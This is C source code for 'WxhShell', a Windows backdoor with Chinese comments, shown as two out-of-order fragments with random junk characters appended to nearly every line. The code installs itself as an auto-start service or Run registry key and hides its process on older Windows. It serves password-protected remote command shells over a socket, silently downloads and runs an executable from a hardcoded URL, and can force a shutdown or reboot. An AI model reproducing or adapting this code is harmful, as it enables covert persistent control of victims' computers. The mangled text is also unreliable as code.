  case 'd': { l#wdpD a{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -n? g~(/P  
    if(Boot(SHUTDOWN)) S? 0)1O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ih[+K#t+E  
    else { 2`= 6%s  
    closesocket(wsh); Pu>N_^  C  
    ExitThread(0); W];EKj,3W  
    } &wetzC )  
    break; BD#.-xWV  
    } e|r0zw S  
  // 获取shell ARfRsPxr  
  case 's': { k 2%S`/:  
    CmdShell(wsh); Sb:T*N0gS  
    closesocket(wsh); I6LD)?  
    ExitThread(0); SgE/!+{  
    break; =BZ?-mIU  
  } (HN4g;{  
  // 退出 ,`8Y8  
  case 'x': { i(6J>^I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kt.~aaG_  
    CloseIt(wsh); "MiD8wX-  
    break; p&K\]l}  
    } /M OnNnV  
  // 离开 !1uzX Kb  
  case 'q': { [[)_BmS5r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qsg>5E  
    closesocket(wsh); !)Rr] ~  
    WSACleanup(); [Id}4[={e  
    exit(1); IGAzE(  
    break; 4o9$bv  
        } I 2HT2c$  
  } v&MU=Tcqi  
  } y02 u?wJ  
P l{QOR  
  // 提示信息 9''p[V.3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1:= `Y@.S  
} w9#R'  
  } 1;W=!Fx  
Z#Lx_*p]Q  
  return; lz~J"$b  
} s([Wn)I  
3#<* k>1G?  
// shell模块句柄 [B?z1z8l  
int CmdShell(SOCKET sock) f e $Wu  
{ oVB"f  
STARTUPINFO si; b5e@oIK  
ZeroMemory(&si,sizeof(si)); uiBTnG"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I*1S/o_xI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PtKTm\,JL0  
PROCESS_INFORMATION ProcessInfo; Ws49ImCB  
char cmdline[]="cmd"; X$wehMBX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9|!j4DS<  
  return 0; ;>2#@QP  
} vg8O] YF  
BEw{X|7  
// 自身启动模式 5z]\$=TE  
int StartFromService(void) $ehg@WK}.  
{ v29G:YQe  
typedef struct ~r`Wr`]_z  
{ )XVh&'(r  
  DWORD ExitStatus; B[xR-6phW  
  DWORD PebBaseAddress; Xi~9&ed#$i  
  DWORD AffinityMask; R.7#zhC`4  
  DWORD BasePriority; a%~yol0wO7  
  ULONG UniqueProcessId; u+% tPe  
  ULONG InheritedFromUniqueProcessId; IM-`<~(I#  
}   PROCESS_BASIC_INFORMATION; =wA5P@  
FpkXOj?*  
PROCNTQSIP NtQueryInformationProcess; U7%28#@  
4=p@2g2"H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }#b %"I0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b4~H3|  
_F8T\f |  
  HANDLE             hProcess; LC'2q*:'  
  PROCESS_BASIC_INFORMATION pbi; ( D}" &2  
|@`"F5@,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *:arva5  
  if(NULL == hInst ) return 0; Sa}D.SBg  
u3wL<$2[8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X7e/:._SAH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sA_X<>vAKJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Antb6E  
.k]#XoE  
  if (!NtQueryInformationProcess) return 0; z/vDgH!s  
org*z!;.   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r69WD .  
  if(!hProcess) return 0; cTj~lO6  
V<$*Y>;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; POBpJg  
_ +KmNfR  
  CloseHandle(hProcess); `$9L^Yg,4  
31 ] 7z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [~?M/QI9  
if(hProcess==NULL) return 0; ?0npEz|  
)Z:m)k>r;  
HMODULE hMod; ~.Q4c*_b  
char procName[255]; h3h8lt_ |  
unsigned long cbNeeded; P{lh)m>  
j<$R4A 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *o|p)lH  
%UmbDGDWI  
  CloseHandle(hProcess); lCE2SKj  
h>tsis'N9  
if(strstr(procName,"services")) return 1; // 以服务启动 [s %\.y(q  
y#r\b6  
  return 0; // 注册表启动 6{^*JC5nj  
} cMtJy"kK  
Mw|SH;nM  
// 主模块 #KJZR{  
int StartWxhshell(LPSTR lpCmdLine) ' PL_~  
{ s?<!&Y  
  SOCKET wsl; +UaO<L  
BOOL val=TRUE; dP3VJ3+ %  
  int port=0; t~~r-V":  
  struct sockaddr_in door; kGj]i@(PA4  
.jum "va%  
  if(wscfg.ws_autoins) Install(); -4`sqv ]  
QX/]gX  
port=atoi(lpCmdLine); 3YRB I|XO  
;@'0T4Z&l  
if(port<=0) port=wscfg.ws_port; dM gbW<uAu  
WH;xq^  
  WSADATA data; h*l4Y!7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g _x\T+=  
XbXgU#%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (lb`#TTGx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &U0WkW   
  door.sin_family = AF_INET;  /Ef4EX0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |QqWVelc  
  door.sin_port = htons(port); q @*UUj@   
eHROBxH&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WnO DDr  
closesocket(wsl); )x9]xqoR  
return 1; iDR6?fP  
} oP,RlR  
Ebbe=4  
  if(listen(wsl,2) == INVALID_SOCKET) { ]kH}lr yG  
closesocket(wsl); ;<VR2U`  
return 1; intvlki]be  
} |N6mTB2  
  Wxhshell(wsl); t*rp3BIG  
  WSACleanup(); EUXV/QV{  
iGyVG41U  
return 0; 4Q/r[x/&C  
A<;0L . J  
} I &cX8Tw  
Cd9t{pQD4  
// 以NT服务方式启动 yx 7loy$[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;HT0w_,  
{ F94V5_[  
DWORD   status = 0; L<"k 7)k  
  DWORD   specificError = 0xfffffff; Cea"qNq=k  
|H<|{{E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {!g?d<*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xv]*;Bq:SK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hX %s]"  
  serviceStatus.dwWin32ExitCode     = 0; TR|;,A[%v#  
  serviceStatus.dwServiceSpecificExitCode = 0; ZG!x$ yi$  
  serviceStatus.dwCheckPoint       = 0; R$ v i!0  
  serviceStatus.dwWaitHint       = 0; _=)!xnYf  
;,FT&|3o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O<Jwaap  
  if (hServiceStatusHandle==0) return; 4g S[D  
7!mJhgGc  
status = GetLastError(); *;Ak5.du  
  if (status!=NO_ERROR) [gTQ-  
{ .k p $oAL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^]KIgGv\  
    serviceStatus.dwCheckPoint       = 0; *j/ uihY  
    serviceStatus.dwWaitHint       = 0; M44_us  
    serviceStatus.dwWin32ExitCode     = status; ?TRW"%  
    serviceStatus.dwServiceSpecificExitCode = specificError; mMga"I9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MyK^i2eD  
    return; -Zttj/K  
  } G|<]Ma9x  
|F3vRt@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EmYO5Whi  
  serviceStatus.dwCheckPoint       = 0; '/n\Tg+  
  serviceStatus.dwWaitHint       = 0; fHW-Je7mG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o&WRta>VP  
} GsR-#tV@  
a\.//?  
// 处理NT服务事件,比如:启动、停止 @ 8A{ 9i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hu[8HzJo  
{ r .{rNR  
switch(fdwControl) u;$I{b@M]  
{ e1:u1(".  
case SERVICE_CONTROL_STOP: a"MTQFm'  
  serviceStatus.dwWin32ExitCode = 0; Cl%V^xTb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @F>[DW]O  
  serviceStatus.dwCheckPoint   = 0; nm<L&11  
  serviceStatus.dwWaitHint     = 0; p, !1 3X  
  { (Be$$W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R %Rv  
  } N=hSqw[  
  return; 3`mC"a b /  
case SERVICE_CONTROL_PAUSE: ::kpl2r\c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B'NS&7+].  
  break; 9)1P+c--  
case SERVICE_CONTROL_CONTINUE: Bb$S^F(Xq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5R$=^gE  
  break; :Fw *r|  
case SERVICE_CONTROL_INTERROGATE: ,P;8 }yQ  
  break; %?U"[F1  
}; =]8f"wAh*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fp`U?S6  
} n5/ZJur  
 gvvFU,2  
// 标准应用程序主函数 @WMj^t1D+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rGQ86L<  
{ 3 (Gygq#  
`[w}hFl~q  
// 获取操作系统版本 2l]C55p)s  
OsIsNt=GetOsVer(); :-W$PIBe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); clij|?O  
8 ))I$+  
  // 从命令行安装 Ir'DA_..  
  if(strpbrk(lpCmdLine,"iI")) Install(); *Cc$eR]-  
O e0KAn  
  // 下载执行文件 OJh+[bf"  
if(wscfg.ws_downexe) { 1c1e+H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {"qW~S90YO  
  WinExec(wscfg.ws_filenam,SW_HIDE); V3aY]#Su  
} yQ72v'  
(!^N~ =e;  
if(!OsIsNt) { (gs`=H*d;  
// 如果时win9x,隐藏进程并且设置为注册表启动 \JF57t}Zk  
HideProc(); i4 y(H  
StartWxhshell(lpCmdLine); Lh8# I&x  
} THegPD67J  
else s?1-$|*  
  if(StartFromService()) iPRJA{$b_  
  // 以服务方式启动 ]9!Gg  
  StartServiceCtrlDispatcher(DispatchTable); G <}7vF  
else XRX7qo(0g  
  // 普通方式启动 /v<e$0~s<  
  StartWxhshell(lpCmdLine); ~:'gvR;x  
J tn&o"C  
return 0; o(S^1j5  
} B8P@D"u  
rd f85%%7  
_R>s5|_  
?STI8AdO  
=========================================== RXCygPT   
<"j"h=tm}  
_dH[STT  
|\yDgs%EGy  
7z0;FW3>9  
\`p|,j  
" X"]mR7k  
'6Rs0__  
#include <stdio.h> z. Ve#~\  
#include <string.h> q[We][Nrzb  
#include <windows.h> 2=/-d$  
#include <winsock2.h> -NI@xJO4(;  
#include <winsvc.h> &**.naSo  
#include <urlmon.h> i&AXPq>`  
jb6ZAT<8  
#pragma comment (lib, "Ws2_32.lib") 06j)P6Iju  
#pragma comment (lib, "urlmon.lib") dqK  
\Ho#[k=y*/  
#define MAX_USER   100 // 最大客户端连接数 .1l[l5$  
#define BUF_SOCK   200 // sock buffer w|3fioLs  
#define KEY_BUFF   255 // 输入 buffer x&6i@Jl  
7D9h;gsP  
#define REBOOT     0   // 重启 A=l?IC@O  
#define SHUTDOWN   1   // 关机 AH ?MJKY@Z  
]2u7?l  
#define DEF_PORT   5000 // 监听端口 ) 2*|WHO  
0(.R?1*:Rf  
#define REG_LEN     16   // 注册表键长度 .5$V7t.t$\  
#define SVC_LEN     80   // NT服务名长度 N-_| %C-.  
g*\v}6 h  
// 从dll定义API oG U.U9~!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o 2$<>1^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QjT#GvHY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xl '\krz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iI/'! 85  
r.W"@vc>  
// wxhshell配置信息 Jg?pW:}R  
struct WSCFG { x Ps& CyI  
  int ws_port;         // 监听端口 ! a8h  
  char ws_passstr[REG_LEN]; // 口令 Av[|.~g  
  int ws_autoins;       // 安装标记, 1=yes 0=no LO Yyj?^7  
  char ws_regname[REG_LEN]; // 注册表键名 GO&RR}  
  char ws_svcname[REG_LEN]; // 服务名 xf3/<x!B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >LRaIU>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `;8u9Ff  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !{|yAt9kP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x,@O:e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o2t@-dNi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4$#ia F  
O,z%7><  
}; 1tK6lrhj  
d#$i/&gE  
// default Wxhshell configuration FCw VVF0 y  
struct WSCFG wscfg={DEF_PORT, 2* cKFv{  
    "xuhuanlingzhe", FnU{C=P  
    1, ;L/T}!Dx  
    "Wxhshell", m'vOFP)'  
    "Wxhshell",  I$sm5oL  
            "WxhShell Service", EXScqGa]  
    "Wrsky Windows CmdShell Service", G5Dji_|  
    "Please Input Your Password: ", c~u F  
  1, KfI$'F #"/  
  "http://www.wrsky.com/wxhshell.exe", 3hpz.ISk  
  "Wxhshell.exe" E t[QcB3  
    }; hgMnO J  
.<|4PG  
// 消息定义模块 Y$DgL h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OAQ O J'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N"Nd$4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P^W$qy|  
char *msg_ws_ext="\n\rExit."; x[h<3V"  
char *msg_ws_end="\n\rQuit."; ?}>B4Z)  
char *msg_ws_boot="\n\rReboot..."; 0yEyt7 ~@  
char *msg_ws_poff="\n\rShutdown..."; )SZ,J-H08w  
char *msg_ws_down="\n\rSave to "; 5=;I|l,  
`J;/=tf09  
char *msg_ws_err="\n\rErr!"; &|,qsDK(  
char *msg_ws_ok="\n\rOK!"; OEqe^``!  
97@?QI}  
char ExeFile[MAX_PATH]; QSQ\@h;E  
int nUser = 0; k>@^M]%  
HANDLE handles[MAX_USER]; MyS7AL   
int OsIsNt; ' c\TMb.  
b|C,b"$N0  
SERVICE_STATUS       serviceStatus; XdXS^QA .s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^i,0n}>  
F[qI fh4  
// 函数声明 YuZ   
int Install(void); C{Xk/Er5<  
int Uninstall(void); *d*;M>  
int DownloadFile(char *sURL, SOCKET wsh); Q\th8/ /  
int Boot(int flag); 'm.XmVZL%  
void HideProc(void); t7`Pw33#kY  
int GetOsVer(void); a!]QD`  
int Wxhshell(SOCKET wsl); '/)_{Ly  
void TalkWithClient(void *cs); +,w|&y  
int CmdShell(SOCKET sock); Hr.JZ>~<  
int StartFromService(void); Yoym5<xE  
int StartWxhshell(LPSTR lpCmdLine); T;e(Q,!H  
V$]a&wM<5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V?pO~q o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HK4`@jYQ  
}qX&*DU_@  
// 数据结构和表定义 9YsO+7[  
SERVICE_TABLE_ENTRY DispatchTable[] = rsj}hS$  
{ ]m,p3  
{wscfg.ws_svcname, NTServiceMain}, > ]N0w  
{NULL, NULL} i!-sbwd7  
}; ,Onm!LI=  
lfG&V +S1  
// 自我安装 wtick~)  
int Install(void) [~%;E[ky$  
{ OX`GN#yl  
  char svExeFile[MAX_PATH]; g?Ty5~:lq  
  HKEY key; ].+G-<.:  
  strcpy(svExeFile,ExeFile); F n Rxc  
]cY'6'}Hz  
// 如果是win9x系统,修改注册表设为自启动 wAwH8xLU  
if(!OsIsNt) { i3!$M/_]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?At-   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p%qL0   
  RegCloseKey(key); B=xZkc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &K*_/Q '\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ATkqzE`;  
  RegCloseKey(key); #6Ph"\G/  
  return 0; 8*){*'bf  
    } CU M~*  
  } DY27'`n6  
} .VV!$; FB  
else { g5HqU2  
`6F8Kqltr  
// 如果是NT以上系统,安装为系统服务 \O4=mJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s,q!(\{Pv  
if (schSCManager!=0) R^C;D 2  
{ 8+b3u05  
  SC_HANDLE schService = CreateService r_CN/a  
  ( v~=ol8J B  
  schSCManager, eEFT(e5.>3  
  wscfg.ws_svcname, eWs^[^c.<  
  wscfg.ws_svcdisp, jWCC`0 T  
  SERVICE_ALL_ACCESS, `I<|*vW u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #FM 'S|  
  SERVICE_AUTO_START, E8 )*HOT_T  
  SERVICE_ERROR_NORMAL, 30-w TcG  
  svExeFile, fxa^SV   
  NULL, 7im;b15j`'  
  NULL, "qp_*Y  
  NULL, tHo/uW_~I  
  NULL, c8W=Is`  
  NULL ;]ew>P)  
  ); FCAu%lvZT  
  if (schService!=0) AV`7> @  
  { _ !vbX mb  
  CloseServiceHandle(schService); T8oASg!  
  CloseServiceHandle(schSCManager); Za?&\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L{Zy7O]"d  
  strcat(svExeFile,wscfg.ws_svcname);  'Z}$V*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HAdm,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =ZL2 0<TeH  
  RegCloseKey(key); XV!EjD~q  
  return 0; j<5R$^?U  
    } $dUN+9  
  } $5 [RR  
  CloseServiceHandle(schSCManager); 6lFsN2  
} K6Ua~N^  
} >,1LBM|0u  
Y5 pNKL  
return 1; {1c eF  
} (9%%^s]uPT  
0:S)2"I58p  
// 自我卸载 j+_75t`AZ  
int Uninstall(void) Un+Jz ?Y  
{ (\ %y)  
  HKEY key; JC3)G/m(03  
(q7mzZY  
if(!OsIsNt) { 9)X<}*(qo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9_$Odc%]  
  RegDeleteValue(key,wscfg.ws_regname); `Nr7N#g+u  
  RegCloseKey(key); Qgi:q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "+_0idpF  
  RegDeleteValue(key,wscfg.ws_regname); tx-bzLo\  
  RegCloseKey(key); ;I' ["k%  
  return 0; lvffQ_t  
  } [ V~bo/n  
} BW[K/l~"$:  
} YO61 pZY  
else { RT9@&5>il  
.? / J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i{0_}"B  
if (schSCManager!=0) %m`QnRX?D  
{ BO|Jrr>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =)LpMTz  
  if (schService!=0) {5`?0+  
  { XjNu|H/  
  if(DeleteService(schService)!=0) { $x*GvI1D  
  CloseServiceHandle(schService); r Y.:}D  
  CloseServiceHandle(schSCManager); ,j<"~"] =  
  return 0; J>Ha$1}u/  
  } f|)t[,c  
  CloseServiceHandle(schService); NST6pu\,U  
  } ~Otf "<  
  CloseServiceHandle(schSCManager); ?HTwTi 5!)  
} /|f]L9)2<  
} e^TF.D?RS  
+V^_ksi\  
return 1; 6iC:l%|u  
} h'+ swPh  
}rZp(FG@*  
// 从指定url下载文件 g<Xwk2_=g  
int DownloadFile(char *sURL, SOCKET wsh) 2} -W@R  
{ d8I/7 ;F X  
  HRESULT hr; :z7!X.*  
char seps[]= "/"; V"XN(Fd^  
char *token; ,8 seoX^  
char *file; ai RNd~\  
char myURL[MAX_PATH]; ~r3g~MCHS  
char myFILE[MAX_PATH]; E%N]t} }[  
98"NUT  
strcpy(myURL,sURL); QkbN2mFv%  
  token=strtok(myURL,seps); !/SFEL@_B  
  while(token!=NULL) ;iVyJZI  
  { Sz&`=x#  
    file=token; cA kw5}P   
  token=strtok(NULL,seps); P<~ y$B  
  } ;f\0GsA#  
Nx__zC^r  
GetCurrentDirectory(MAX_PATH,myFILE); 5ZLH=8L  
strcat(myFILE, "\\"); '(}BfDP  
strcat(myFILE, file); VTU-'q  
  send(wsh,myFILE,strlen(myFILE),0); Rx.0P6s  
send(wsh,"...",3,0); nYHk~<a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J4 <*KL~a  
  if(hr==S_OK) Nnw iH  
return 0; #XZ?,neY  
else `4MPXfoBL  
return 1; K""04Ew*pV  
[@czvPi  
} AyUVsIuPT=  
vjb{h'v  
// 系统电源模块 :Pv{ E  
int Boot(int flag) js j" W&J  
{ LCt m@oN  
  HANDLE hToken; Ue7~rPdlR  
  TOKEN_PRIVILEGES tkp; '4iu0ie>D  
Y]PZ| G)  
  if(OsIsNt) { d{ &z^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4-MA!&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +?8nY.~,'  
    tkp.PrivilegeCount = 1; o,L!F`W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WW.=>]7;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2rk_ ssvs  
if(flag==REBOOT) { z3,z&Ra  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %PpB$  
  return 0; R= l/EK  
} #oaX<,  
else { 1<*-, f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) " 1 Bn/Q  
  return 0; Q_Rr5/  
} OoE@30+  
  } eL.S="  
  else { &AzA0r&,  
if(flag==REBOOT) { t0Uax-E(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q["}U7j  
  return 0; pVr,WTr6E  
} fqi5 84  
else { :Vg,[\I{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +J2=\YO  
  return 0; |b@-1  
} u}$?r\H'(  
} %}@^[E)  
=8]'/b  
return 1; +ad 2  
} lp6GiF  
I$YF55uB  
// win9x进程隐藏模块 z;-2xD0&U[  
void HideProc(void) vR-/c  
{ %!@Dop/<  
`'~|DG}a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q o'1Pknz  
  if ( hKernel != NULL ) "|hmiMdGB  
  { iS"rMgq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LWY`J0/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kh27[@s  
    FreeLibrary(hKernel); %P?W^mI  
  } 7%X$6N-X  
V r y#  
return; J &c}z4  
} ]LD@I;(_  
9%4rO\q  
// 获取操作系统版本 "B.l j)  
int GetOsVer(void) Ji=E 1R  
{ N-suBRnW  
  OSVERSIONINFO winfo; ^CX~>j\(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `A #r6+  
  GetVersionEx(&winfo); K]RkKMT,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A w83@U  
  return 1; Zcc6E2  
  else x ha!.&DO  
  return 0; )=~1m85+5B  
} AE@*#47  
1<lLE1fk  
// 客户端句柄模块 K{ N#^L!  
int Wxhshell(SOCKET wsl) k)4   
{ GX\/2P7CZ  
  SOCKET wsh; (d_{+O"  
  struct sockaddr_in client; fuQ? @F  
  DWORD myID; Nhs]U`s(g  
DI+kO(S  
  while(nUser<MAX_USER) P\SE_*&  
{ JI(8{ f  
  int nSize=sizeof(client); uRJLSt9m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q W) ,)i  
  if(wsh==INVALID_SOCKET) return 1; (G:$/fK  
P*G&pitT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d!!5'/tmS  
if(handles[nUser]==0) an.)2*u  
  closesocket(wsh); WnA]gyc  
else 6Vi #O^>  
  nUser++; Rom|Bqo;  
  } pS9CtQqvgy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )t0t*xu#  
tFXG4+$D  
  return 0; 5WY..60K,  
} 8\/E/o3  
W%) foJ  
// 关闭 socket SxNs  
void CloseIt(SOCKET wsh) PoQ@9 A  
{ _<&IpT{w+  
closesocket(wsh); (',G Ako  
nUser--; W.{#Pg1Da  
ExitThread(0); Sw>AgES  
} oljl&tuQy  
(:-=XR9A`  
// 客户端请求句柄 S-g`rTx  
void TalkWithClient(void *cs) $wAVM/u&  
{ H;%a1  
W%@6D|^  
  SOCKET wsh=(SOCKET)cs; |v:8^C7  
  char pwd[SVC_LEN]; d'J))-*#UO  
  char cmd[KEY_BUFF]; qVx0VR1:  
char chr[1]; 8g^OXZ   
int i,j; c(i-~_  
s9zdg"c'  
  while (nUser < MAX_USER) { b2 duC  
eLM_?9AZ!R  
if(wscfg.ws_passstr) { >DpnIWn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E XEae ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xb5n;=)  
  //ZeroMemory(pwd,KEY_BUFF); h{VCx#!]  
      i=0; bo`w( h_  
  while(i<SVC_LEN) { Fn yA;,*  
#P<v[O/rA  
  // 设置超时 JEGcZeq)  
  fd_set FdRead; Wl?*AlFlk  
  struct timeval TimeOut; B/&axm%0  
  FD_ZERO(&FdRead); +UB+. 5P  
  FD_SET(wsh,&FdRead); +(QGlRd  
  TimeOut.tv_sec=8; -%NT)o  
  TimeOut.tv_usec=0; hT#[[md"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mM&H; W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L00,{g6wqb  
8!'#B^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `b+f^6SJn  
  pwd=chr[0]; A !x" *  
  if(chr[0]==0xd || chr[0]==0xa) { ]@)X3}"!  
  pwd=0; /|bir6Y:  
  break; HFB2ep7N  
  } Nj@k|_1  
  i++; ke!)C[^7z  
    } O sbY}*S  
IF(W[J  
  // 如果是非法用户,关闭 socket l%oie1g l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r\.1=c#"bP  
} { %vX/Ek  
&>ii2% 4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nc ,"wA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MLG%+@\  
cAogz/<S  
while(1) { `_N8A A  
BOQ2;@:3  
  ZeroMemory(cmd,KEY_BUFF); J$%mG*Y(  
7%c9 nY  
      // 自动支持客户端 telnet标准   &HNJ '  
  j=0; ><mZOTn e;  
  while(j<KEY_BUFF) { y+)][Wa0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]8NNxaE3(  
  cmd[j]=chr[0]; Ia=wf"JS)  
  if(chr[0]==0xa || chr[0]==0xd) { Z2_eTC u  
  cmd[j]=0; u-=S_e  
  break; %M2.h;9]*\  
  } Z,M?!vK  
  j++; +y!dU{L^  
    } fIu5d6;'  
< N}UwB&  
  // 下载文件 2Vxr  
  if(strstr(cmd,"http://")) { R rs?I,NV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o3P`y:&  
  if(DownloadFile(cmd,wsh)) Qr Dzf e[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kn SXygT  
  else QXY-?0RO#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;XEU%:LK  
  } &PI}o  
  else { {+r pMUs#  
